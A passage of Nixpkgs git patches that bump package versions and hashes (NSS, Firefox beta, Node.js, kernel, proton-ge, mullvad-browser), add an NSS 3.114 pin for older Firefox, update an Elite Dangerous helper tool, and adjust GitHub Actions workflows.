-  "tess4j#tess4j/5.2.9": {
+  "jixxed/tess4j#tess4j/5.2.9": {
    "jar": "sha256-+3uZj+yC3t90jQ6oWIde0oIvWyxqXduuqrwwGO+EqvA=",
    "module": "sha256-0t0sL5hBJtAuoZuSPFUZdupaPmn86ECeCZYYRDD+aCg=",
    "pom": "sha256-l0rKnFKWtfPI/6pBDXpfbJpNEAri7igU24iaZyvY168="
diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
index 7a6ba9e3d327..efd37788d163 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
@@ -4,7 +4,6 @@
   fetchFromGitHub,
   gradle,
   jdk24,
-  makeWrapper,
   wrapGAppsHook3,
   libXxf86vm,
   libXtst,
@@ -19,18 +18,17 @@
 }:
 stdenv.mkDerivation rec {
   pname = "ed-odyssey-materials-helper";
-  version = "2.223";
+  version = "2.240";
 
   src = fetchFromGitHub {
     owner = "jixxed";
     repo = "ed-odyssey-materials-helper";
     tag = version;
-    hash = "sha256-NPiy1KQxi6iRR3tEjdPnx8w++sCLIsZ2FQXSUQL0WrA=";
+    hash = "sha256-KRWOfLFrczOON6HiddM8g2qi2hzGfZbUsk02VvW2VyA=";
   };
 
   nativeBuildInputs = [
     gradle
-    makeWrapper
     wrapGAppsHook3
     copyDesktopItems
   ];
@@ -40,9 +38,6 @@ stdenv.mkDerivation rec {
     # so this removes 1) the popup about it when you first start the program, 2) the option in the settings
     # and makes the program always know that it is set up
     ./remove-urlscheme-settings.patch
-
-    # Upstream requested that sentry is only to be used with official builds, remove it so it doesn't complain about the lack of DSN
-    ./remove-sentry.patch
   ];
   postPatch = ''
     # oslib doesn't seem to do releases and hasn't had a change since 2021, so always use commit d6ee6549bb
@@ -74,6 +69,15 @@ stdenv.mkDerivation rec {
 
   gradleBuildTask = "application:jpackage";
 
+  env = {
+    EDDN_SOFTWARE_NAME = "EDO Materials Helper";
+  };
+
+  preBuild = ''
+    # required to make EDDN_SOFTWARE_NAME work and for the program to know its own version
+    gradle $gradleFlags application:generateSecrets
+  '';
+
   installPhase = ''
     runHook preInstall
 
@@ -89,9 +93,7 @@ stdenv.mkDerivation rec {
   dontWrapGApps = true;
 
   postFixup = ''
-    # The logs would go into the current directory, so the wrapper will cd to the config dir first
-    makeShellWrapper $out/share/ed-odyssey-materials-helper/bin/Elite\ Dangerous\ Odyssey\ Materials\ Helper $out/bin/ed-odyssey-materials-helper \
-      --run 'mkdir -p ~/.config/odyssey-materials-helper/ && cd ~/.config/odyssey-materials-helper/' \
+    makeWrapper $out/share/ed-odyssey-materials-helper/bin/Elite\ Dangerous\ Odyssey\ Materials\ Helper $out/bin/ed-odyssey-materials-helper \
       --prefix LD_LIBRARY_PATH : ${
         lib.makeLibraryPath [
           libXxf86vm
diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-sentry.patch b/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-sentry.patch
deleted file mode 100644
index 16da10edb102..000000000000
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-sentry.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-diff --git a/application/src/main/java/nl/jixxed/eliteodysseymaterials/Main.java b/application/src/main/java/nl/jixxed/eliteodysseymaterials/Main.java
-index 04b101f0..2e589e12 100644
---- a/application/src/main/java/nl/jixxed/eliteodysseymaterials/Main.java
-+++ b/application/src/main/java/nl/jixxed/eliteodysseymaterials/Main.java
-@@ -51,48 +51,6 @@ public class Main {
-                 System.exit(0);
-             }
-             log.info("launching app with java version: " + getVersion());
--            if (System.getProperty("sentry.dsn") == null || System.getProperty("sentry.dsn").isBlank() || System.getProperty("sentry.dsn").equals("null")) {
--                log.error("Sentry DSN is not set. Please set the DSN.");
--            }
--            Sentry.init(options -> {
--
--                final String buildVersion = getBuildVersion();
--                options.setDsn(System.getProperty("sentry.dsn"));
--                options.setEnvironment(getEnvironment(buildVersion));
--                options.setRelease("edomh-app@" + buildVersion);
--                options.setEnabled(!buildVersion.equals("dev"));
--                options.setBeforeSend((event, hint) -> {
--                    if (!VersionService.isLatestVersion()) {
--                        return null;  // Returning null prevents the event from being sent to Sentry
--                    }
--                    if (Duration.between(lastSentTime, Instant.now()).getSeconds() < 30) {
--                        return null;  // Throttle if less than 30 seconds have passed
--                    }
--                    lastSentTime = Instant.now();
--                    String supportFile = "";
--                    try {
--                        supportFile = SupportService.createSupportPackage();
--                    } catch (Exception e) {
--                        log.error("Failed to create support package", e);
--                    }
--                    if (!supportFile.isBlank()) {
--                        Attachment attachment = new Attachment(supportFile);
--                        hint.addAttachment(attachment);
--                    }
--                    OperatingSystem os = new OperatingSystem();
--                    os.setName(System.getProperty("os.name"));
--                    os.setVersion(System.getProperty("os.version"));
--                    os.setBuild(System.getProperty("os.arch"));
--                    event.getContexts().setOperatingSystem(os);
--                    if (APPLICATION_STATE.getFileheader() != null) {
--                        event.setTag("game.version", APPLICATION_STATE.getFileheader().getGameversion());
--                        event.setTag("game.build", APPLICATION_STATE.getFileheader().getBuild());
--                        event.setTag("game.language", APPLICATION_STATE.getFileheader().getLanguage());
--                        event.setTag("game.odyssey", String.valueOf(APPLICATION_STATE.getFileheader().getOdyssey()));
--                    }
--                    return event;
--                });
--            });
-             FXApplication.launchFx(args);
-         }
-     }

From ccebda2e55948805af8e305a013e4e0aa283fd62 Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Thu, 21 Aug 2025 14:20:36 -0400
Subject: [PATCH 3932/4511] nss_latest: 3.114 -> 3.115

https://github.com/nss-dev/nss/blob/master/doc/rst/releases/nss_3_115.rst
(cherry picked from commit d5240951da93234f68cc1846915794c62414a3b2)
---
 pkgs/development/libraries/nss/latest.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/nss/latest.nix b/pkgs/development/libraries/nss/latest.nix
index eb09313d1a11..45cd7960539f 100644
--- a/pkgs/development/libraries/nss/latest.nix
+++ b/pkgs/development/libraries/nss/latest.nix
@@ -5,6 +5,6 @@
 #       Example: nix-shell ./maintainers/scripts/update.nix --argstr package cacert
 
 import ./generic.nix {
-  version = "3.114";
-  hash = "sha256-YVtXk1U9JtqfOH7+m/+bUI/yXJcydqjjGbCy/5xbMe8=";
+  version = "3.115";
+  hash = "sha256-8PeFeaIOtjBZJLBx3ONwZlK5SaLnjKEFoZWvVsu/3tA=";
 }

From 54a5d9b0ab38a8b2c11c282af139df9552d221b6 Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Thu, 21 Aug 2025 14:20:37 -0400
Subject: [PATCH 3933/4511] nss_3_114: init

This is the latest version that works for Firefox versions between 129
and 142 inclusive, and is included Nixpkgs-wide because the issue that
prevents 3.115 from working with later versions of Firefox may also
affect other software.

(cherry picked from commit 2050ae84b5d617d95ddcd8292afe5d205c79af8d)
---
 pkgs/development/libraries/nss/3_114.nix | 4 ++++
 pkgs/top-level/all-packages.nix          | 1 +
 2 files changed, 5 insertions(+)
 create mode 100644 pkgs/development/libraries/nss/3_114.nix

diff --git a/pkgs/development/libraries/nss/3_114.nix b/pkgs/development/libraries/nss/3_114.nix
new file mode 100644
index 000000000000..3d17c3de971c
--- /dev/null
+++ b/pkgs/development/libraries/nss/3_114.nix
@@ -0,0 +1,4 @@
+import ./generic.nix {
+  version = "3.114";
+  hash = "sha256-YVtXk1U9JtqfOH7+m/+bUI/yXJcydqjjGbCy/5xbMe8=";
+}
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index ba57fcb5de31..399e261785a6 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -9213,6 +9213,7 @@ with pkgs;
   };
 
   nss_latest = callPackage ../development/libraries/nss/latest.nix { };
+  nss_3_114 = callPackage ../development/libraries/nss/3_114.nix { };
   nss_esr = callPackage ../development/libraries/nss/esr.nix { };
   nss = nss_esr;
   nssTools = nss.tools;

From 7b1e6e9b96b621cb6ab954423c5370f881916dba Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Thu, 21 Aug 2025 14:20:37 -0400
Subject: [PATCH 3934/4511] buildMozillaMach: use nss_3_114 as needed

As reported in https://github.com/NixOS/nixpkgs/pull/435118, Firefox
versions prior to 143 crash when used with nss 3.115.

(cherry picked from commit d3140d859652cfee7139dabe36cd972cf31d9974)
---
 pkgs/build-support/build-mozilla-mach/default.nix | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index 953f4a5b1cbb..8afe2e434322 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -89,6 +89,7 @@ in
   nasm,
   nspr,
   nss_esr,
+  nss_3_114,
   nss_latest,
   onnxruntime,
   pango,
@@ -555,7 +556,12 @@ buildStdenv.mkDerivation {
       xorg.xorgproto
       zlib
       (
-        if (lib.versionAtLeast version "129") then nss_latest else nss_esr # 3.90
+        if (lib.versionAtLeast version "143") then
+          nss_latest
+        else if (lib.versionAtLeast version "129") then
+          nss_3_114
+        else
+          nss_esr # 3.90
       )
     ]
     ++ lib.optional alsaSupport alsa-lib

From ed9e27e0d8b66bf93932b347730894ac76da5937 Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Thu, 21 Aug 2025 14:20:37 -0400
Subject: [PATCH 3935/4511] firefox-devedition-unwrapped: 142.0b9 -> 143.0b2

https://www.firefox.com/en-US/firefox/143.0beta/releasenotes/
(cherry picked from commit ad69899ab7848f9169e0d7d0f1799f1eccd08971)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 5b38270109bf..9b36cd21ff83 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "142.0b9";
+  version = "143.0b2";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "1223065e5c614be9b72f3306daebc98e032d993797bab4d8e646523dfcd9aa554f442b302a32e6281ebb41fcbed49f63097a58fef2a612ae8ff0371f670bad3c";
+    sha512 = "265a3b95b3c2a3e5cd051334f9a8c9bac1f8dba10d7a625bfceeb9a75f1e45617975dc26d1760c2e656b26fdf98f18da3181402a067252451d2ac71614dcfb6d";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From 70e73fb8ee3c217a3f99ceb0b9e4dee69e482c6f Mon Sep 17 00:00:00 2001
From: Ryan Hendrickson <ryan.hendrickson@alum.mit.edu>
Date: Thu, 21 Aug 2025 14:20:38 -0400
Subject: [PATCH 3936/4511] firefox-beta-unwrapped: 142.0b9 -> 143.0b2

https://www.firefox.com/en-US/firefox/143.0beta/releasenotes/
(cherry picked from commit a58130893959b670169b54822de3724cb3257f43)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 9a55f3cf51b5..aff9413de889 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "142.0b9";
+  version = "143.0b2";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "5a350ce0907977aa5d803801f6d00a4b91f2f2f29994a5951c48ee39f7b3b87843e992950890e59fb7a897e0912461d5661361c89e0deb59da226d1aac7d95ef";
+    sha512 = "3d206037dbd849158b70b8a8fda8527595ead612033a6dd2f0c0417ce0bc50312d2911e3b5d2964a01ab686c7636856a32f43163ce895767a11c1f3298cbf6e8";
   };
 
   meta = {

From c6c8b9fb0d4d4c6c56669d5fbf88b0e9c4d77da7 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Thu, 14 Aug 2025 23:21:14 +0200
Subject: [PATCH 3937/4511] nodejs_24: 24.5.0 -> 24.6.0

(cherry picked from commit 1587a343c9bb07ac94dd3d331b6a97422379a47e)
---
 pkgs/development/web/nodejs/v24.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/nodejs/v24.nix b/pkgs/development/web/nodejs/v24.nix
index 5fd447dd5031..39db9d1328bf 100644
--- a/pkgs/development/web/nodejs/v24.nix
+++ b/pkgs/development/web/nodejs/v24.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "24.5.0";
-  sha256 = "f1ba96204724bd1c6de7758e08b3718ba0b45d87fb3bebd7e30097874ccc8130";
+  version = "24.6.0";
+  sha256 = "8ad5c387b5d55d8f3b783b0f1b21bae03a3b3b10ac89a25d266cffa7b795e842";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then

From a29ceb5962f37dd11147ed50f7d69bff5c747c12 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 25 Aug 2025 19:20:38 +0000
Subject: [PATCH 3938/4511] linuxKernel.kernels.linux_lqx: 6.15.10 -> 6.16.3

(cherry picked from commit 0a96b5228760df297ea15cb65fc5b8def279f608)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 52df0d8e0ad1..46dbf6968bc7 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.15.10"; # lqx
+      version = "6.16.3"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "1z8mixavfq5yylyv9j0g7m25jbrfjqfs4c2h9ibgky0fk701fchk"; # lqx
+      sha256 = "0y7ym3kcy936p3kz71dx411l7pms53cfqbq8h8dp9vxw9vhjkh5n"; # lqx
       isLqx = true;
     };
   };

From 6b7d60740bf6f063d7891b982756ac5a3ddb6e06 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 25 Aug 2025 15:13:09 +0000
Subject: [PATCH 3939/4511] proton-ge-bin: GE-Proton10-12 -> GE-Proton10-13

(cherry picked from commit ca9ee0dcb785e0db687b5b93e433fd53002c2240)
---
 pkgs/by-name/pr/proton-ge-bin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/proton-ge-bin/package.nix b/pkgs/by-name/pr/proton-ge-bin/package.nix
index 275efa042add..8e989f315667 100644
--- a/pkgs/by-name/pr/proton-ge-bin/package.nix
+++ b/pkgs/by-name/pr/proton-ge-bin/package.nix
@@ -9,11 +9,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "proton-ge-bin";
-  version = "GE-Proton10-12";
+  version = "GE-Proton10-13";
 
   src = fetchzip {
     url = "https://github.com/GloriousEggroll/proton-ge-custom/releases/download/${finalAttrs.version}/${finalAttrs.version}.tar.gz";
-    hash = "sha256-mjqcN/gTfAlPDXgJUm8qxH+jvNN8iiIuF33hSQ5Y/Vo=";
+    hash = "sha256-HjCsnPX3TwUroVj8RnQ0k6unU2Ou/E5PogRIElDWjgE=";
   };
 
   dontUnpack = true;

From 1a96a3293b679df76894459649d7a890417cf6f8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Tue, 26 Aug 2025 08:20:36 +0200
Subject: [PATCH 3940/4511] python3Packages.cfn-lint: patch a test issue

Fixes #432354
https://hydra.nixos.org/build/305388763/nixlog/2/tail
---
 pkgs/development/python-modules/cfn-lint/default.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/pkgs/development/python-modules/cfn-lint/default.nix b/pkgs/development/python-modules/cfn-lint/default.nix
index b13885318ae2..48846f063507 100644
--- a/pkgs/development/python-modules/cfn-lint/default.nix
+++ b/pkgs/development/python-modules/cfn-lint/default.nix
@@ -34,6 +34,13 @@ buildPythonPackage rec {
     hash = "sha256-s0CYQ6r3rA1PEiZ9LLFL3RC2PdfCgZHTqQ9nZUi1m+Q=";
   };
 
+  # https://github.com/aws-cloudformation/cfn-lint/pull/4208
+  # [W2531: ...] (Runtime 'nodejs18.x' was deprecated on '2025-07-31'...
+  postPatch = ''
+    substituteInPlace test/fixtures/templates/good/generic.yaml \
+      --replace-fail 'Runtime: nodejs18.x' 'Runtime: nodejs22.x'
+  '';
+
   build-system = [ setuptools ];
 
   dependencies = [

From 86ddc0ac36d5f3413a16c1036ab9fc37f45dad26 Mon Sep 17 00:00:00 2001
From: Florian Klink <flokli@flokli.de>
Date: Mon, 25 Aug 2025 17:03:25 +0300
Subject: [PATCH 3941/4511] widevine-cdm: fix build

The zipfile simply disappeared from the CDN. Use the archive.org copy
for now to unbreak the build.

See https://github.com/NixOS/nixpkgs/issues/435671.

(cherry picked from commit c577a4f0588042b6c6e30e9a2f267a6e3ebb97fe)
---
 pkgs/by-name/wi/widevine-cdm/x86_64-linux.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/wi/widevine-cdm/x86_64-linux.nix b/pkgs/by-name/wi/widevine-cdm/x86_64-linux.nix
index 00c1b625c32d..ae16e951c666 100644
--- a/pkgs/by-name/wi/widevine-cdm/x86_64-linux.nix
+++ b/pkgs/by-name/wi/widevine-cdm/x86_64-linux.nix
@@ -9,7 +9,8 @@ stdenv.mkDerivation (finalAttrs: {
   version = "4.10.2891.0";
 
   src = fetchzip {
-    url = "https://dl.google.com/widevine-cdm/${finalAttrs.version}-linux-x64.zip";
+    # The download 404s
+    url = "https://web.archive.org/web/20250725071306/https://dl.google.com/widevine-cdm/4.10.2891.0-linux-x64.zip";
     hash = "sha256-ZO6FmqJUnB9VEJ7caJt58ym8eB3/fDATri3iOWCULRI=";
     stripRoot = false;
   };

From d5041dc605c67f34f292963c1d80bb3f41d2741a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Felix=20Schr=C3=B6ter?= <dev@felschr.com>
Date: Mon, 25 Aug 2025 23:50:13 +0200
Subject: [PATCH 3942/4511] mullvad-browser: 14.5.5 -> 14.5.6

https://github.com/mullvad/mullvad-browser/releases/tag/14.5.6
(cherry picked from commit 0838da41814d626f4d4666a0a3f3ff6b9d5089dd)
---
 pkgs/by-name/mu/mullvad-browser/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mu/mullvad-browser/package.nix b/pkgs/by-name/mu/mullvad-browser/package.nix
index 92d10debd1cd..7316c456b846 100644
--- a/pkgs/by-name/mu/mullvad-browser/package.nix
+++ b/pkgs/by-name/mu/mullvad-browser/package.nix
@@ -97,7 +97,7 @@ let
     ++ lib.optionals mediaSupport [ ffmpeg ]
   );
 
-  version = "14.5.5";
+  version = "14.5.6";
 
   sources = {
     x86_64-linux = fetchurl {
@@ -109,7 +109,7 @@ let
         "https://tor.eff.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz"
         "https://tor.calyxinstitute.org/dist/mullvadbrowser/${version}/mullvad-browser-linux-x86_64-${version}.tar.xz"
       ];
-      hash = "sha256-PwqxYylW602XAKBvEJk4Rl8q6nWBGH3pFvTOuAYtr/w=";
+      hash = "sha256-oUbeteUlgQIzRezEQy9APDtXWX8RuOCtUXQAWlzqkyM=";
     };
   };
 

From 51dee45438dc004f6f347098215635a01e793e2c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 25 Aug 2025 21:06:20 +0200
Subject: [PATCH 3943/4511] ci/github-script: fix run script

Not a problem for prepare/commits, but the labels comand will remove the
temp directory again, before it actually runs the command. Nothing good
will come out of that!

(cherry picked from commit eb766e2d51e24016df00a6ddfb472601f49a43be)
---
 ci/github-script/run | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/ci/github-script/run b/ci/github-script/run
index eeaee253ef42..1d974cf5355f 100755
--- a/ci/github-script/run
+++ b/ci/github-script/run
@@ -49,7 +49,7 @@ program
   .option('--no-dry', 'Make actual modifications')
   .action(async (owner, repo, pr, options) => {
     const prepare = (await import('./prepare.js')).default
-    run(prepare, owner, repo, pr, options)
+    await run(prepare, owner, repo, pr, options)
   })
 
 program
@@ -61,7 +61,7 @@ program
   .option('--no-cherry-picks', 'Do not expect cherry-picks.')
   .action(async (owner, repo, pr, options) => {
     const commits = (await import('./commits.js')).default
-    run(commits, owner, repo, pr, options)
+    await run(commits, owner, repo, pr, options)
   })
 
 program
@@ -77,7 +77,7 @@ program
     try {
       process.env.GITHUB_WORKSPACE = tmp
       process.chdir(tmp)
-      run(labels, owner, repo, pr, options)
+      await run(labels, owner, repo, pr, options)
     } finally {
       rmSync(tmp, { recursive: true })
     }

From 0ec83b71dd60b57e150e4bf036e1c169307180ff Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 26 Aug 2025 10:51:23 +0200
Subject: [PATCH 3944/4511] workflows/labels: prevent error on token creation
 for Test workflow

This only happens when the label workflow runs in pull_request context
*and* from within nixpkgs (not a fork). This is the case for dependabot
updates.

(cherry picked from commit 979687958f5d57b1d36006fbc769a26427369e73)
---
 .github/workflows/labels.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 97049cb08f87..6a2b11c621a1 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -50,7 +50,7 @@ jobs:
 
       # Use a GitHub App, because it has much higher rate limits: 12,500 instead of 5,000 req / hour.
       - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
-        if: vars.NIXPKGS_CI_APP_ID
+        if: github.event_name != 'pull_request' && vars.NIXPKGS_CI_APP_ID
         id: app-token
         with:
           app-id: ${{ vars.NIXPKGS_CI_APP_ID }}

From 9b81db86e8f728cc16757a1ebece29564306b406 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 25 Aug 2025 21:00:45 +0000
Subject: [PATCH 3945/4511] build(deps): bump korthout/backport-action from
 3.2.1 to 3.3.0

Bumps [korthout/backport-action](https://github.com/korthout/backport-action) from 3.2.1 to 3.3.0.
- [Release notes](https://github.com/korthout/backport-action/releases)
- [Commits](https://github.com/korthout/backport-action/compare/0193454f0c5947491d348f33a275c119f30eb736...ca4972adce8039ff995e618f5fc02d1b7961f27a)

---
updated-dependencies:
- dependency-name: korthout/backport-action
  dependency-version: 3.3.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit 2240ad8625b21d50dbb23496faf89a11a35fdf2e)
---
 .github/workflows/backport.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 0392578df488..b516dcea1a87 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -48,7 +48,7 @@ jobs:
 
       - name: Create backport PRs
         id: backport
-        uses: korthout/backport-action@0193454f0c5947491d348f33a275c119f30eb736 # v3.2.1
+        uses: korthout/backport-action@ca4972adce8039ff995e618f5fc02d1b7961f27a # v3.3.0
         with:
           # Config README: https://github.com/korthout/backport-action#backport-action
           copy_labels_pattern: 'severity:\ssecurity'

From 150ba26d2b18f859e75833782bcd0b4db53347fc Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Tue, 26 Aug 2025 12:01:49 +0000
Subject: [PATCH 3946/4511] build(deps): bump actions/create-github-app-token
 from 2.1.0 to 2.1.1

Bumps [actions/create-github-app-token](https://github.com/actions/create-github-app-token) from 2.1.0 to 2.1.1.
- [Release notes](https://github.com/actions/create-github-app-token/releases)
- [Commits](https://github.com/actions/create-github-app-token/compare/0f859bf9e69e887678d5bbfbee594437cb440ffe...a8d616148505b5069dccd32f177bb87d7f39123b)

---
updated-dependencies:
- dependency-name: actions/create-github-app-token
  dependency-version: 2.1.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
(cherry picked from commit c1853d5ea1d1bef787567ddbb2521ad01df9eafd)
---
 .github/workflows/backport.yml       | 2 +-
 .github/workflows/check.yml          | 2 +-
 .github/workflows/edited.yml         | 2 +-
 .github/workflows/labels.yml         | 2 +-
 .github/workflows/periodic-merge.yml | 2 +-
 .github/workflows/reviewers.yml      | 2 +-
 6 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index b516dcea1a87..3f735f4cbd12 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -27,7 +27,7 @@ jobs:
     steps:
       # Use a GitHub App to create the PR so that CI gets triggered
       # The App is scoped to Repository > Contents and Pull Requests: write for Nixpkgs
-      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
+      - uses: actions/create-github-app-token@a8d616148505b5069dccd32f177bb87d7f39123b # v2.1.1
         id: app-token
         with:
           app-id: ${{ vars.NIXPKGS_CI_APP_ID }}
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index e8fe7c3717dc..377e9dc2bb75 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -109,7 +109,7 @@ jobs:
       - name: Build codeowners validator
         run: nix-build nixpkgs/trusted/ci --arg nixpkgs ./nixpkgs/trusted-pinned -A codeownersValidator
 
-      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
+      - uses: actions/create-github-app-token@a8d616148505b5069dccd32f177bb87d7f39123b # v2.1.1
         if: github.event_name == 'pull_request_target' && vars.OWNER_RO_APP_ID
         id: app-token
         with:
diff --git a/.github/workflows/edited.yml b/.github/workflows/edited.yml
index b1b5b6dfc077..8a38f0eefeff 100644
--- a/.github/workflows/edited.yml
+++ b/.github/workflows/edited.yml
@@ -36,7 +36,7 @@ jobs:
       # Use a GitHub App to create the PR so that CI gets triggered
       # The App is scoped to Repository > Contents and Pull Requests: write for Nixpkgs
       # We only need Pull Requests: write here, but the app is also used for backports.
-      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
+      - uses: actions/create-github-app-token@a8d616148505b5069dccd32f177bb87d7f39123b # v2.1.1
         id: app-token
         with:
           app-id: ${{ vars.NIXPKGS_CI_APP_ID }}
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 6a2b11c621a1..4dfbe74f02b8 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -49,7 +49,7 @@ jobs:
         run: npm install @actions/artifact bottleneck
 
       # Use a GitHub App, because it has much higher rate limits: 12,500 instead of 5,000 req / hour.
-      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
+      - uses: actions/create-github-app-token@a8d616148505b5069dccd32f177bb87d7f39123b # v2.1.1
         if: github.event_name != 'pull_request' && vars.NIXPKGS_CI_APP_ID
         id: app-token
         with:
diff --git a/.github/workflows/periodic-merge.yml b/.github/workflows/periodic-merge.yml
index 4e22a2bcbbd9..3846d04159fc 100644
--- a/.github/workflows/periodic-merge.yml
+++ b/.github/workflows/periodic-merge.yml
@@ -23,7 +23,7 @@ jobs:
     steps:
       # Use a GitHub App to create the PR so that CI gets triggered
       # The App is scoped to Repository > Contents and Pull Requests: write for Nixpkgs
-      - uses: actions/create-github-app-token@0f859bf9e69e887678d5bbfbee594437cb440ffe # v2.1.0
+      - uses: actions/create-github-app-token@a8d616148505b5069dccd32f177bb87d7f39123b # v2.1.1
         id: app-token
         with:
           app-id: ${{ vars.NIXPKGS_CI_APP_ID }}
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 9b3de2338553..c27bb0e97090 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -48,7 +48,7 @@ jobs:
       #   - OWNER_APP_PRIVATE_KEY (secret)
       #
       # Can't use the token received from permissions above, because it can't get enough permissions.
